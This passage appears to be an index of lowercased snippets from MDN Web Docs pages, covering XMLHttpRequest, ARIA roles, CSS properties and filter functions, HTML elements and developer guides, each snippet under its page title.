prequest(); client.open('get', 'http://www.example.org/example.txt'); client.ontimeout = () => { console.error('timeout!!') }; client.send(); you could also set up the event handler using the addeventlistener() method: client.addeventlistener('timeout', () => { console.error("timeout!!"); }); specifications specification status comment xmlhttprequestthe definition of 'timeout event' in that specification.
XMLSerializer.serializeToString() - Web APIs
specifications specification status comment dom parsing and serializationthe definition of 'serializetostring()' in that specification.
XMLSerializer - Web APIs
specifications specification status comment dom parsing and serializationthe definition of 'xmlserializer' in that specification.
XRInputSourceArray.entries() - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsourcearray' in that specification.1 working draft xrinputsourcearray interface [1] see iterator-like methods in information contained in a webidl file for information on how an iterable declaration in an interface definition causes entries(), foreach(), keys(), and values() methods to be exposed from objects that implement the interface.
XRInputSourceArray.forEach() - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsourcearray' in that specification.1 working draft xrinputsourcearray interface [1] see iterator-like methods in information contained in a webidl file for information on how an iterable declaration in an interface definition causes entries(), foreach(), keys(), and values() methods to be exposed from objects that implement the interface.
XRInputSourceArray.keys() - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsourcearray' in that specification.1 working draft xrinputsourcearray interface [1] see iterator-like methods in information contained in a webidl file for information on how an iterable declaration in an interface definition causes entries(), foreach(), keys(), and values() methods to be exposed from objects that implement the interface.
XRInputSourceArray.values() - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsourcearray' in that specification.1 working draft xrinputsourcearray interface [1] see iterator-like methods in information contained in a webidl file for information on how an iterable declaration in an interface definition causes entries(), foreach(), keys(), and values() methods to be exposed from objects that implement the interface.
Using the alert role - Accessibility
the pseudo code snippet below illustrates this approach: <p id="forminstruction">you must select at least 3 options</p> // when the user tries to submit the form with less than 3 checkboxes selected: document.getelementbyid("forminstruction").setattribute("role", "alert"); example 4: making an element with an alert role visible if an element already has role="alert" and is initially hidden using css, making it visible will cause the alert to fire as if it was just added to the page.
Using the aria-describedby attribute - Accessibility
the aria-describedby attribute is not used only for form elements; it is also used to associate static text with widgets, groups of elements, panes, regions that have a heading, definitions, and more.
Using ARIA: Roles, states, and properties - Accessibility
combobox grid (including row, gridcell, rowheader, columnheader roles) listbox (including option role) menu menubar radiogroup (see radio role) tablist (including tab and tabpanel roles) tree treegrid document structure roles application article cell columnheader definition directory document feed figure group heading img list listitem math none note presentation row rowgroup rowheader separator table term textbox toolbar tooltip landmark roles banner complementary contentinfo form main navigation region search live region roles alert log marquee status timer window roles alertdialog dialog states and prop...
ARIA: timer role - Accessibility
<div id="clock" role="timer" aria-live="polite" aria-atomic="true"></div> accessibility concerns improperly using the timer role can unintentionally xxx specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'timer' in that specification.
ARIA: application role - Accessibility
specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'application' in that specification.
ARIA: document role - Accessibility
specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'document' in that specification.
ARIA: List role - Accessibility
specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'list' in that specification.
ARIA: Listitem role - Accessibility
specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'listitem' in that specification.
ARIA: img role - Accessibility
an aria-label attribute keyboard interactions required javascript features examples star rating role="img" example specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'img' in that specification.
ARIA: rowgroup role - Accessibility
added benefits none specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'aria rowgroup role' in that specification.
ARIA: switch role - Accessibility
the switch is implemented as a <button> element which is initially checked courtesy of its aria-checked attribute being set to "true".
ARIA: dialog role - Accessibility
specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'alert' in that specification.
ARIA: heading role - Accessibility
specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'heading' in that specification.
Basic form hints - Accessibility
wai-aria, the accessible rich internet applications specification from the w3c's web accessibility initiative, provides the aria-labelledby attribute for these cases.
Accessibility FAQ - Accessibility
where can i find more about mozilla's accessibility initiatives?
Accessibility Information for Web Authors - Accessibility
web content accessibility guidelines (wcag) 1.0 another important set of guidelines from the w3c web accessibility initiative (wai).
Keyboard-navigable JavaScript widgets - Accessibility
tips use element.focus() to set focus do not use createevent(), initevent() and dispatchevent() to send focus to an element.
Operable - Accessibility
note: to read the w3c definitions for operable and its guidelines and success criteria, see principle 2: operable — user interface components and navigation must be operable.
Perceivable - Accessibility
note: to read the w3c definitions for perceivable and its guidelines and success criteria, see principle 1: perceivable - information and user interface components must be presentable to users in ways they can perceive.
Robust - Accessibility
note: to read the w3c definitions for robust and its guidelines and success criteria, see principle 4: robust — content must be robust enough that it can be interpreted reliably by a wide variety of user agents, including assistive technologies.
Text labels and names - Accessibility
since mglyph elements are used for non-standard symbols without unicode definitions, screen readers won't automatically be able to name them.
Understanding the Web Content Accessibility Guidelines - Accessibility
the four principles wcag is broadly broken down into four principles — major things that web content must be to be considered accessible (see understanding the four principles of accessibility for the wcag definitions).
-moz-force-broken-image-icon - CSS: Cascading Style Sheets
formal definition initial value0applies toimagesinheritednocomputed valueas specifiedanimation typediscrete formal syntax <integer> examples html <img src='/broken/image/link.png' alt='broken image link'> css img { -moz-force-broken-image-icon: 1; height: 100px; width: 100px; } result screenshotlive sample note: unless the image has a specified height and width the broken image icon will not be...
-moz-outline-radius-bottomleft - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valueas specifiedanimation typea length, percentage or calc(); formal syntax <outline-radius>where <outline-radius> = <length> | <percentage> examples rounding a outline since this is a firefox-only property, this example will not display the desired effect if you are ...
-moz-outline-radius-bottomright - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valueas specifiedanimation typea length, percentage or calc(); formal syntax <outline-radius>where <outline-radius> = <length> | <percentage> examples html <p>look at this paragraph's bottom-right corner.</p> css p { margin: 5px; border: solid cyan; outline: do...
-moz-outline-radius-topleft - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valueas specifiedanimation typea length, percentage or calc(); formal syntax <outline-radius>where <outline-radius> = <length> | <percentage> examples the example below will not display the desired effect if you are viewing this in a browser other than firefox.
-moz-outline-radius-topright - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednopercentagesrefer to the corresponding dimension of the border boxcomputed valueas specifiedanimation typea length, percentage or calc(); formal syntax <outline-radius>where <outline-radius> = <length> | <percentage> examples html <p>look at this paragraph's top-right corner.</p> css p { margin: 5px; border: solid cyan; outline: dotte...
-webkit-overflow-scrolling - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscrolling boxesinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | touch examples html <div class="scroll-touch"> <p> this paragraph has momentum scrolling </p> </div> <div class="scroll-auto"> <p> this paragraph does not.
-webkit-tap-highlight-color - CSS: Cascading Style Sheets
formal definition initial valueblackapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
-webkit-text-security - CSS: Cascading Style Sheets
syntax -webkit-text-security: circle; -webkit-text-security: disc; -webkit-text-security: square; -webkit-text-security: none; formal definition value not found in db!
:-moz-ui-invalid - CSS: Cascading Style Sheets
specifications specification status comment selectors level 4the definition of ':user-invalid' in that specification.
:defined - CSS: Cascading Style Sheets
WebCSS:defined
following two rules to hide any instances of our custom element that are not defined, and display instances that are defined as block level elements: simple-custom:not(:defined) { display: none; } simple-custom:defined { display: block; } this is useful if you have a complex custom element that takes a while to load into the page — you might want to hide instances of the element until definition is complete, so that you don't end up with flashes of ugly unstyled elements on the page specifications specification status comment html living standardthe definition of ':defined' in that specification.
@document - CSS: Cascading Style Sheets
WebCSS@document
ly to: - the page "http://www.w3.org/" - any page whose url begins with "http://www.w3.org/style/" - any page whose url's host is "mozilla.org" or ends with ".mozilla.org" - any standalone video - any page whose url starts with "https:" */ /* make the above-mentioned pages really ugly */ body { color: purple; background: yellow; } } specifications initially in css conditional rules module level 3, @document has been postponed to level 4.
-webkit-transition - CSS: Cascading Style Sheets
instead, test for transition support using the css @supports at-rule, like this: @supports (transition: initial) { /* css to use if transitions are supported */ } obsolete example before this became obsolete, you could use -webkit-transition in your css like this: @media (-webkit-transition) { /* css to use if transitions are supported */ } specifications not part of any standard.
inverted-colors - CSS: Cascading Style Sheets
text is gray, your browser doesn't support the `inverted-colors` media feature.</p> css p { color: gray; } @media (inverted-colors: inverted) { p { background: black; color: yellow; } } @media (inverted-colors: none) { p { background: #eee; color: red; } } result specifications specification status comment media queries level 5the definition of 'inverted-colors' in that specification.
shape - CSS: Cascading Style Sheets
WebCSS@mediashape
<head> <link rel="stylesheet" href="default.css" /> <link media="screen and (shape: rect)" rel="stylesheet" href="rectangle.css" /> <link media="screen and (shape: round)" rel="stylesheet" href="round.css" /> </head> specifications specification status css round display level 1the definition of 'shape' in that specification.
At-rules - CSS: Cascading Style Sheets
WebCSSAt-rule
specifications specification status comment css conditional rules module level 3 candidate recommendation initial definition compatibility standardthe definition of 'css at-rules' in that specification.
Coordinate systems - CSS: Cascading Style Sheets
it's actually possible to change the definitions and orientations of these coordinate systems using css properties such as transform.
CSSOM View - CSS: Cascading Style Sheets
specifications specification status comment css object model (cssom) view module working draft initial definition.
Detecting CSS animation support - CSS: Cascading Style Sheets
if( animation === false ) { // animate in javascript fallback } else { elem.style[ animationstring ] = 'rotate 1s linear infinite'; var keyframes = '@' + keyframeprefix + 'keyframes rotate { '+ 'from {' + keyframeprefix + 'transform:rotate( 0deg ) }'+ 'to {' + keyframeprefix + 'transform:rotate( 360deg ) }'+ '}'; if( document.stylesheets && document.stylesheets.length ) { document.stylesheets[0].insertrule( keyframes, 0 ); } else { var s = docum...
CSS Animations tips and tricks - CSS: Cascading Style Sheets
the following demo shows how you'd achieve the aforementioned javascript technique: .slidein { animation-duration: 5s; animation-name: slidein; animation-iteration-count: infinite; } .stopped { animation-name: none; } @keyframes slidein { 0% { margin-left: 0%; } 50% { margin-left: 50%; } 100% { margin-left: 0%; } } <h1 id="watchme">click me to stop</h1> let watchme = document.getelementbyid('watchme') watchme.classname = 'slidein' const listener = (e) => { watchme.classname = 'slidein stopped' } watchme.addeventlistener('click', () => ...
CSS Animations - CSS: Cascading Style Sheets
specifications specification status comment css animations working draft initial definition.
CSS Basic User Interface - CSS: Cascading Style Sheets
specifications specification status comment css basic user interface module level 4 working draft css basic user interface module level 3 recommendation css level 2 (revision 1) recommendation initial definition.
Box alignment in Multi-column Layout - CSS: Cascading Style Sheets
while other layout methods treat the initial value of column-gap as 0 multicol treats it as 1em, as in general you would not want to have no gap between columns.
CSS Basic Box Model - CSS: Cascading Style Sheets
specifications specification status comment css basic box model working draft added margin-trim css level 2 (revision 1) recommendation css level 1 recommendation initial definition.
CSS Color - CSS: Cascading Style Sheets
WebCSSCSS Color
specifications specification status comment css color module level 4 working draft css color module level 3 recommendation css level 2 (revision 1) recommendation css level 1 recommendation initial definition ...
Using multi-column layouts - CSS: Cascading Style Sheets
the css multi-column layout module extends the block layout mode to allow the easy definition of multiple columns of text.
CSS Multi-column Layout - CSS: Cascading Style Sheets
specifications specification status comment css multi-column layout module working draft initial definition ...
CSS Conditional Rules - CSS: Cascading Style Sheets
reference at-rules @document @media @supports @import specifications specification status comment css conditional rules module level 3 candidate recommendation initial definition ...
CSS Counter Styles - CSS: Cascading Style Sheets
specifications specification status comment css counter styles level 3 candidate recommendation initial definition.
CSS Device Adaptation - CSS: Cascading Style Sheets
reference at-rules @viewport specifications specification status comment css device adaptation working draft initial definition ...
Backwards Compatibility of Flexbox - CSS: Cascading Style Sheets
useful fallback techniques given that flexbox usage is initiated with value of the display property, when needing to support very old browsers which do not support flexbox at all, fallbacks can be created by overwriting one layout method with another.
Mastering Wrapping of Flex Items - CSS: Cascading Style Sheets
making things wrap the initial value of the flex-wrap property is nowrap.
Flow Layout and Writing Modes - CSS: Cascading Style Sheets
the initial value is horizontal-tb, which is a top to bottom block flow direction with a horizontal inline direction.
CSS Fonts - CSS: Cascading Style Sheets
WebCSSCSS Fonts
css fonts module level 3 candidate recommendation adds font-feature-settings (and related higher-level properties) css level 2 (revision 1) recommendation css level 1 recommendation initial definition ...
CSS Fragmentation - CSS: Cascading Style Sheets
reference box-decoration-break break-after break-before break-inside orphans widows specifications specification status comment css fragmentation module level 3 candidate recommendation initial definition.
CSS Generated Content - CSS: Cascading Style Sheets
reference properties content quotes specifications specification status comment css generated content module level 3 working draft css level 2 (revision 1) recommendation initial definition ...
CSS Grid Layout and Accessibility - CSS: Cascading Style Sheets
given that interoperable support for display: contents is limited and we do not yet have subgrids, there is a definite temptation when developing a site using css grid layout to flatten out the markup, to remove semantic elements in order to make it simpler to create a layout.
Line-based placement with CSS Grid - CSS: Cascading Style Sheets
this means that our initial, long-hand, example would look like this: * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1e...
Subgrid - CSS: Cascading Style Sheets
specification specification status comment css grid layout module level 2 working draft initial definition of subgrids.
CSS Grid Layout - CSS: Cascading Style Sheets
css grid layout candidate recommendation initial definition.
CSS Lists - CSS: Cascading Style Sheets
specifications specification status comment css lists module level 3 working draft css level 2 (revision 1) recommendation initial definition ...
CSS Logical Properties and Values - CSS: Cascading Style Sheets
t-inline-end ) offset-inline-start (now inset-inline-start ) guides basic concepts of logical properties and values logical properties for sizing logical properties for margins, borders and padding logical properties for floating and positioning specifications specification status comment css logical properties and values level 1 editor's draft initial definition.
CSS Namespaces - CSS: Cascading Style Sheets
reference at-rules @namespace specifications specification status comment css namespaces module recommendation initial definition ...
The stacking context - CSS: Cascading Style Sheets
element with a will-change value specifying any property that would create a stacking context on non-initial value (see this post).
CSS Ruby Layout - CSS: Cascading Style Sheets
WebCSSCSS Ruby
reference properties ruby-align ruby-position specifications specification status comment css ruby layout module level 1 working draft initial definition ...
CSS Scroll Snap - CSS: Cascading Style Sheets
in-bottom scroll-margin-left scroll-margin-inline scroll-margin-inline-start scroll-margin-inline-end scroll-margin-block scroll-margin-block-start scroll-margin-block-end guides basic concepts of css scroll snap browser compatibility and scroll snap specification specification status comment css scroll snap module level 1 candidate recommendation initial definition ...
CSS Scrollbars - CSS: Cascading Style Sheets
</div> result reference css properties scrollbar-width scrollbar-color specifications specification status comment css scrollbars level 1 working draft initial definition.
CSS selectors - CSS: Cascading Style Sheets
css level 1 recommendation initial definition.
CSS Shapes - CSS: Cascading Style Sheets
svg: shapes and arbitrarily-shaped ui components specifications specification status comment css shapes module level 1 candidate recommendation initial definition ...
CSS Table - CSS: Cascading Style Sheets
WebCSSCSS Table
reference properties border-collapse border-spacing caption-side empty-cells table-layout vertical-align specifications specification status comment css level 2 (revision 1) recommendation initial definition ...
CSS Text - CSS: Cascading Style Sheets
WebCSSCSS Text
css text module level 3 working draft css level 2 (revision 1) recommendation css level 1 recommendation initial definition ...
CSS Text Decoration - CSS: Cascading Style Sheets
p> <p class="blink">this text might blink for you, depending on the browser you use.</p> specifications specification status comment css text decoration module level 4 working draft css text decoration module level 3 candidate recommendation css level 2 (revision 1) recommendation css level 1 recommendation initial definition ...
CSS Transforms - CSS: Cascading Style Sheets
specifications specification status comment css transforms level 1 working draft initial definition.
CSS Transitions - CSS: Cascading Style Sheets
specifications specification status comment css transitions working draft initial definition.
CSS data types - CSS: Cascading Style Sheets
WebCSSCSS Types
atio> <resolution> <shape-box> <shape-radius> <string> <time> <time-percentage> <timing-function> <toggle-value> <transform-function> <type-or-unit> <url> <url-modifier> <zero> specifications specification status comment css values and units module level 4 editor's draft css values and units module level 3 candidate recommendation initial definition.
CSS Custom Properties for Cascading Variables - CSS: Cascading Style Sheets
css properties --* specifications specification status comment css custom properties for cascading variables module level 1 candidate recommendation initial definition ...
CSS Writing Modes - CSS: Cascading Style Sheets
reference properties direction glyph-orientation-horizontal text-combine-upright text-orientation unicode-bidi writing-mode specifications specification status comment css writing modes module level 3 proposed recommendation css level 2 (revision 1) recommendation css level 1 recommendation initial definition ...
Compositing and Blending - CSS: Cascading Style Sheets
reference properties background-blend-mode isolation mix-blend-mode data types <blend-mode> specifications specification status comment compositing and blending level 1 candidate recommendation initial definition ...
Questions about CSS - CSS: Cascading Style Sheets
WebCSSFAQ
with css, the sources of style definition for a given document element are in this order of precedence: the style attribute on an individual element tag the style element that defines a specific style sheet containing style declarations or a link element that links to a separate document containing the style element.
Using Media Queries for Accessibility - CSS: Cascading Style Sheets
html <div class="animation">animated box</div> css .animation { -webkit-animation: vibrate 0.3s linear infinite both; animation: vibrate 0.3s linear infinite both; } @media (prefers-reduced-motion: reduce) { .animation { animation: none; } } high contrast mode the -ms-high-contrast css media feature is a microsoft extension that describes whether the application is being displayed in high contrast mode, and with what color variation.
Media queries - CSS: Cascading Style Sheets
specifications specification status comment media queries level 5 editor's draft css conditional rules module level 3 candidate recommendation media queries level 4 candidate recommendation media queries recommendation css level 2 (revision 1) recommendation initial definition ...
Mozilla CSS extensions - CSS: Cascading Style Sheets
tyle [prefixed version still accepted] -moz-transition [prefixed version still accepted] -moz-transition-delay [prefixed version still accepted] -moz-transition-duration [prefixed version still accepted] -moz-transition-property [prefixed version still accepted] -moz-transition-timing-function [prefixed version still accepted] -moz-user-select values global values -moz-initial -moz-appearance button button-arrow-down button-arrow-next button-arrow-previous button-arrow-up button-bevel checkbox checkbox-container checkbox-label checkmenuitem dialog groupbox listbox menuarrow menucheckbox menuimage menuitem menuitemtext menulist menulist-button menulist-text menulist-textfield menupopup menuradio menuseparator -moz-mac-unified-toolbar ...
Viewport concepts - CSS: Cascading Style Sheets
if you include an svg file in your html, the viewport of the svg is the initial containing block, or the width and height of the svg container.
Visual formatting model - CSS: Cascading Style Sheets
initially defined in css2, the display property is extended in the css display module level 3.
WebKit CSS extensions - CSS: Cascading Style Sheets
c -webkit-column-axis -webkit-column-break-after -webkit-column-break-before -webkit-column-break-inside -webkit-column-progression -webkit-cursor-visibility d-i -webkit-dashboard-region -webkit-font-size-delta -webkit-font-smoothing -webkit-highlight -webkit-hyphenate-character -webkit-hyphenate-limit-after -webkit-hyphenate-limit-before -webkit-hyphenate-limit-lines -webkit-initial-letter l -webkit-line-align -webkit-line-box-contain -webkit-line-clamp -webkit-line-grid -webkit-line-snap -webkit-locale -webkit-logical-height -webkit-logical-width m -webkit-margin-after-collapse -webkit-margin-after -webkit-margin-before-collapse -webkit-margin-before -webkit-margin-bottom-collapse -webkit-margin-collapse -webkit-margin-end** -webkit-margin-start**...
conic-gradient() - CSS: Cascading Style Sheets
specifications specification status comment css images module level 4the definition of 'conic-gradient()' in that specification.
<display-box> - CSS: Cascading Style Sheets
html <div class="outer"> <div>inner div.</div> </div> css .outer { border: 2px solid red; width: 300px; display: contents; } .outer > div { border: 1px solid green; } result specifications specification status css display module level 3the definition of 'display-box' in that specification.
<display-inside> - CSS: Cascading Style Sheets
inside the container.</p> </div> css .box { background-color: rgb(224, 206, 247); border: 5px solid rebeccapurple; display: flow-root; } .float { float: left; width: 200px; height: 150px; background-color: white; border:1px solid black; padding: 10px; } result specifications specification status css display module level 3the definition of 'display-inside' in that specification.
<display-internal> - CSS: Cascading Style Sheets
me">name</label> <input type="text" id="name" name="name"> </div> <div> <label for="age">age</label> <input type="text" id="age" name="age"> </div> </main> css main { display: table; } div { display: table-row; } label, input { display: table-cell; margin: 5px; } result specifications specification status css display module level 3the definition of 'display-internal' in that specification.
<display-legacy> - CSS: Cascading Style Sheets
.container { display: inline flex; } specifications specification status css display module level 3the definition of 'display-legacy' in that specification.
<display-listitem> - CSS: Cascading Style Sheets
examples html <div class="fake-list">i will display as a list item</div> css .fake-list { display: list-item; list-style-position: inside; } result specifications specification status css display module level 3the definition of 'display-listitem' in that specification.
<display-outside> - CSS: Cascading Style Sheets
html <span>span 1</span> <span>span 2</span> css span { display: block; border: 1px solid rebeccapurple; } result specifications specification status css display module level 3the definition of 'display-outside' in that specification.
element() - CSS: Cascading Style Sheets
WebCSSelement
<div style="width:400px; height:100px; background:-moz-element(#mybackground2);"> </div> <div style="overflow:hidden; height:0;"> <button id="mybackground2" type="button">evil button!</button> </div> specifications specification status comment css images module level 4the definition of 'using elements as images: the element() notation' in that specification.
blur() - CSS: Cascading Style Sheets
examples setting a blur with pixels and with rem blur(0) /* no effect */ blur(8px) /* blur with 8px radius */ blur(1.17rem) /* blur with 1.17rem radius */ specifications specification status filter effects module level 1the definition of 'blur()' in that specification.
brightness() - CSS: Cascading Style Sheets
examples setting brightness using numbers and percentages brightness(0%) /* completely black */ brightness(0.4) /* 40% brightness */ brightness(1) /* no effect */ brightness(200%) /* double brightness */ specifications specification status filter effects module level 1the definition of 'brightness()' in that specification.
contrast() - CSS: Cascading Style Sheets
examples setting contrast using numbers and percentages contrast(0) /* completely gray */ contrast(65%) /* 65% contrast */ contrast(1) /* no effect */ contrast(200%) /* double contrast */ specifications specification status filter effects module level 1the definition of 'contrast()' in that specification.
drop-shadow() - CSS: Cascading Style Sheets
examples setting a drop shadow using pixel offsets and blur radius /* black shadow with 10px blur */ drop-shadow(16px 16px 10px black) setting a drop shadow using rem offsets and blur radius /* reddish shadow with 1rem blur */ drop-shadow(.5rem .5rem 1rem #e23) specifications specification status filter effects module level 1the definition of 'drop-shadow()' in that specification.
hue-rotate() - CSS: Cascading Style Sheets
examples hue-rotate(-90deg) /* same as 270deg rotation */ hue-rotate(0deg) /* no effect */ hue-rotate(90deg) /* 90deg rotation */ hue-rotate(.5turn) /* 180deg rotation */ hue-rotate(405deg) /* same as 45deg rotation */ specifications specification status filter effects module level 1the definition of 'hue-rotate()' in that specification.
invert() - CSS: Cascading Style Sheets
examples invert(0) /* no effect */ invert(.6) /* 60% inversion */ invert(100%) /* completely inverted */ specifications specification status filter effects module level 1the definition of 'invert()' in that specification.
opacity() - CSS: Cascading Style Sheets
examples opacity(0%) /* completely transparent */ opacity(50%) /* 50% transparent */ opacity(1) /* no effect */ specifications specification status filter effects module level 1the definition of 'opacity()' in that specification.
saturate() - CSS: Cascading Style Sheets
examples saturate(0) /* completely unsaturated */ saturate(.4) /* 40% saturated */ saturate(100%) /* no effect */ saturate(200%) /* double saturation */ specifications specification status filter effects module level 1the definition of 'saturate()' in that specification.
sepia() - CSS: Cascading Style Sheets
examples sepia(0) /* no effect */ sepia(.65) /* 65% sepia */ sepia(100%) /* completely sepia */ specifications specification status filter effects module level 1the definition of 'sepia()' in that specification.
<filter-function> - CSS: Cascading Style Sheets
der.getattribute('data-unit')}`; } updateoutput(); updatecurvalue(); } function updateoutput() { output.textcontent = slider.value; } function updatecurvalue() { curvalue.textcontent = `filter: ${divelem.style.filter}`; } setslider(selectelem.value); setdiv(selectelem.value); result specifications specification status filter effects module level 1the definition of 'filter-function' in that specification.
font-smooth - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | never | always | <absolute-size> | <length>where <absolute-size> = xx-small | x-small | small | medium | large | x-large | xx-large | xxx-large examples basic usage example the following example shows the safari/chromium and firefox equivalents that turn on font-smooth...
image-set() - CSS: Cascading Style Sheets
WebCSSimage-set
mdn understanding wcag, guideline 1.1 explanations understanding success criterion 1.1.1 | w3c understanding wcag 2.0 specifications specification status comment css images module level 4the definition of 'the image-set() notation' in that specification.
Guide to scroll anchoring - CSS: Cascading Style Sheets
the only possible values are auto or none: auto is the initial value; as long as the user has a supported browser the scroll anchoring behavior will happen, and they should see fewer content jumps.
repeating-conic-gradient() - CSS: Cascading Style Sheets
specifications specification status comment css images module level 4the definition of 'repeating-conic-gradient()' in that specification.
<shape> - CSS: Cascading Style Sheets
WebCSSshape
example img.clip04 { clip: rect(10px, 20px, 20px, 10px); } specifications specification status comment css level 2 (revision 1)the definition of '<shape>' in that specification.
translateZ() - CSS: Cascading Style Sheets
result specifications specification status comment css transforms level 2the definition of 'transform' in that specification.
CSS: Cascading Style Sheets
WebCSS
css key concepts: the syntax and forms of the language specificity, inheritance and the cascade css units and values box model and margin collapse the containing block stacking and block-formatting contexts initial, computed, used, and actual values css shorthand properties css flexible box layout css grid layout media queries animation cookbook the css layout cookbook aims to bring together recipes for common layout patterns, things you might need to implement in your sites.
Getting Started - Developer guides
} the full list of the readystate values is documented at xmlhttprequest.readystate and is as follows: 0 (uninitialized) or (request not initialized) 1 (loading) or (server connection established) 2 (loaded) or (request received) 3 (interactive) or (processing request) 4 (complete) or (request finished and response is ready) next, check the http response status codes of the http response.
Creating and triggering events - Developer guides
event.initevent('build', true, true); // listen for the event.
Mutation events - Developer guides
}, false); the event object is passed to the listener in a mutationevent (see its definition in the specification) for most events, and mutationnameevent for domattributenamechanged and domelementnamechanged.
Using device orientation with 3D transforms - Developer guides
there are however two corrections that should be applied to those values: the initial alpha value is 180 (device flat on the back, top of the screen pointing 12:00), so the rotatez value should be alpha - 180 the y axis of the screen coordinate system is inverted, such that translatey(100px) moves an element 100px down, so the rotatey value should be -gamma finally, the order of the three different rotations is very important to accurately convert an orientation to a 3d rotation: ro...
HTML5 Parser - Developer guides
WebGuideHTMLHTML5HTML5 Parser
you can avoid such problems by using the character code for the initial '<' instead.
Using HTML sections and outlines - Developer guides
it is often used for call-outs, blockquotes, and definitions.
A hybrid approach - Developer guides
if your mobile and desktop use cases are similar enough, this is definitely the preferred option for layout changes.
Mobile-friendliness - Developer guides
know your audience while not strictly a part of the definition of being mobile friendly, defining who your target audience is makes these goals much more concrete.
The Unicode Bidirectional Text Algorithm - Developer guides
initial unicode bidi algorithm control characters character code point html entity markup equivalent description left-to-right isolate (lri) u+2066 &#x2066; dir="ltr" sets the base direction to ltr, isolating the embedded content from the surrounding text right-to-left isolate (lri) u+2067 &#x2067; dir="rtl" sets the base direction to r...
The Web Open Font Format (WOFF) - Developer guides
WebGuideWOFF
specifications specification status comment woff file format 2.0 recommendation new compression algorithm woff file format 1.0 recommendation initial specification.
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
while they can't replace having a good designer helping you make these decisions, they can definitely get you started.
HTML attribute: capture - HTML: Hypertext Markup Language
specifications specification status html media capturethe definition of 'capture attribute' in that specification.
<acronym> - HTML: Hypertext Markup Language
WebHTMLElementacronym
specifications specification status comment html 4.01 specificationthe definition of '<acronym>' in that specification.
<blink>: The Blinking Text element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementblink
blink { -webkit-animation: 2s linear infinite condemned_blink_effect; /* for safari 4.0 - 8.0 */ animation: 2s linear infinite condemned_blink_effect; } /* for safari 4.0 - 8.0 */ @-webkit-keyframes condemned_blink_effect { 0% { visibility: hidden; } 50% { visibility: hidden; } 100% { visibility: visible; } } @keyframes condemned_blink_effect { 0% { visibility: hidden; } 50% { visibility: hidden; ...
<command>: The HTML Command element - HTML: Hypertext Markup Language
WebHTMLElementcommand
examples <command type="command" label="save" icon="icons/save.png" onclick="save()"> specifications specification status comment html5the definition of '<command>' in that specification.
<hgroup> - HTML: Hypertext Markup Language
WebHTMLElementhgroup
examples <hgroup id="document-title"> <h1>html</h1> <h2>living standard — last updated 12 august 2016</h2> </hgroup> specifications specification status comment html living standardthe definition of '<hgroup>' in that specification.
manifest - HTML: Hypertext Markup Language
WebHTMLElementhtmlmanifest
specifications specification status comment html5the definition of '<html> manifest attribute' in that specification.
theme-color - HTML: Hypertext Markup Language
WebHTMLElementmetanametheme-color
specifications specification html living standardthe definition of 'theme-color' in that specification.
<meta>: The Document-level Metadata element - HTML: Hypertext Markup Language
WebHTMLElementmeta
examples <meta charset="utf-8"> <!-- redirect page after 3 seconds --> <meta http-equiv="refresh" content="3;url=https://www.mozilla.org"> specifications specification status comment html living standardthe definition of '<meta>' in that specification.
<rb>: The Ruby Base element - HTML: Hypertext Markup Language
WebHTMLElementrb
specifications specification status comment html5the definition of '<rb>' in that specification.
autocapitalize - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'autocapitalize' in that specification.
inputmode - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'inputmode' in that specification.
is - HTML: Hypertext Markup Language
} } // define the new element customelements.define('word-count', wordcount, { extends: 'p' }); <p is="word-count"></p> specifications specification status comment html living standardthe definition of 'is' in that specification.
part - HTML: Hypertext Markup Language
specifications specification status comment shadow partsthe definition of 'part' in that specification.
Link types: dns-prefetch - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'dns-prefetch' in that specification.
Link types: modulepreload - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'modulepreload' in that specification.
Link types: noopener - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'noopener' in that specification.
Link types: noreferrer - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'noreferrer' in that specification.
Link types: prefetch - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'prefetch' in that specification.
Link types: preload - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'preload' in that specification.
Link types: prerender - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'prerender' in that specification.
Microdata - HTML: Hypertext Markup Language
for example, yandex, a major search engine in russia, supports microformats such as hcard (company contact information), hrecipe (food recipe), hreview (market reviews) and hproduct (product data) and provides its own format for the definition of the terms and encyclopedic articles.
Choosing between www and non-www URLs - HTTP
